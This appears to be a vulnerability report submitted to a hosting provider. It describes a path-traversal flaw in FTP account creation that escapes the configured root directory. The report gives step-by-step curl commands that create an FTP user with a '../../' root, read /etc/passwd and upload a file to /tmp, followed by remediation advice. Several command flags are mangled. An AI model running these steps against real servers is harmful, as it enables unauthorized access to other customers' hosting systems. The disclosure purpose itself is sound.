|
Task Description
Summary
The FTP user creation functionality allows an attacker to bypass the configured FTP Root directory restriction by supplying a path containing directory traversal sequences such as ../../.
The FTP configuration page explicitly states:
“Parent directories of the root directory will be neither accessible nor visible.”
However, this restriction can be bypassed because the supplied path is accepted and stored without validating or normalizing traversal sequences.
For example, configuring the FTP root directory as:
../../
results in a stored path similar to:
/home/brake/../../
When the FTP user subsequently connects, the effective root resolves outside the account's home directory, allowing browsing of the server's filesystem, including directories such as /etc, /home, /nfs, /proc, and /tmp.
In my testing, I was also able to retrieve /etc/passwd and upload a file to /tmp.
Steps to Reproduce
1. Obtain a valid authenticated session
Set the required values:
COOKIE='csrftoken=YOUR_CSRF_COOKIE; sessionid=YOUR_SESSIONID'
BASE='https://admin.alwaysdata.com'
HOST='ftp-brake.alwaysdata.net'
PW='SomeStrongPassw0rd!'
2. Obtain a CSRF token
TOKEN=$(curl -s -H "Cookie: $COOKIE" "$BASE/ftp/add/" \
| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' \
| head -1 | cut -d'"' -f4)
echo "$TOKEN"
3. Create an FTP user using a traversal path
Create an FTP account with ../../ as its root directory:
curl -s -o /dev/null -w "%{http_code}\n" \
H "Cookie: $COOKIE" \
-data-urlencode "csrfmiddlewaretoken=$TOKEN" \
-data-urlencode "name=brake_pwn" \
-data-urlencode "password=$PW" \
-data-urlencode "path=../../" \
-data-urlencode "submit=" \
"$BASE/ftp/add/"
Observed result:
302
The request is accepted without validation or an error.
4. Confirm the traversal path was stored
curl -s -H "Cookie: $COOKIE" "$BASE/ftp/" \
| grep -o '/home/brake/[^<]*'
Observed value:
/home/brake/../../
This indicates that the traversal sequence is stored without being rejected or normalized.
5. Connect to the FTP service
curl -k –ssl-reqd \
"ftps://$HOST/" \
--user "brake_pwn:$PW"
Observed result:
Instead of being restricted to the intended FTP directory, the account can access the server filesystem, including:
/bin
/boot
/dev
/etc
/home
/nfs
/proc
/tmp
… 6. Demonstrate access to a server file
For example:
curl -k –ssl-reqd \
"ftps://$HOST/etc/passwd" \
--user "brake_pwn:$PW" | head -5
Observed result:
The server's /etc/passwd file is returned, exposing the system's local user list.
7. Demonstrate write access outside the account's home directory
I was also able to upload a file to /tmp:
echo "proof" > /tmp/p.txt
curl -k –ssl-reqd \
T /tmp/p.txt \
"ftps://$HOST/tmp/" \
-user "brake_pwn:$PW"
The upload completed successfully (226).
Security Impact
This issue defeats the advertised FTP directory isolation and allows an FTP account to escape its configured root directory.
Depending on filesystem permissions, an attacker may be able to:
Browse directories outside the FTP user's intended home.
Enumerate server filesystem structure.
Read globally accessible files such as /etc/passwd.
Discover internal infrastructure information under directories such as /nfs.
Write files to other globally writable locations such as /tmp.
Potentially obtain additional information about the hosting environment and other accounts.
What the Vulnerability Breaks
The core issue is that the FTP Root directory field is treated as trusted input.
A value such as:
../../
is accepted and stored relative to the account's home directory:
/home/<account>/../../
Without canonicalization and validation, the resulting path escapes the intended FTP root.
The application should ensure that the configured FTP root resolves to a directory within the intended account boundary and reject traversal sequences or absolute paths that escape that boundary.
Recommended Remediation
Validate and canonicalize the configured FTP root before saving it.
At minimum:
Resolve the submitted path to its canonical filesystem path.
Verify that the resolved path remains inside the account's allowed root/home directory.
Reject .. traversal and absolute paths that escape the allowed directory.
Apply the same validation server-side rather than relying only on client-side form validation.
Ideally, enforce the restriction at the FTP service/chroot configuration layer as a defense-in-depth measure.
CVSS 3.1 score I got: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
|
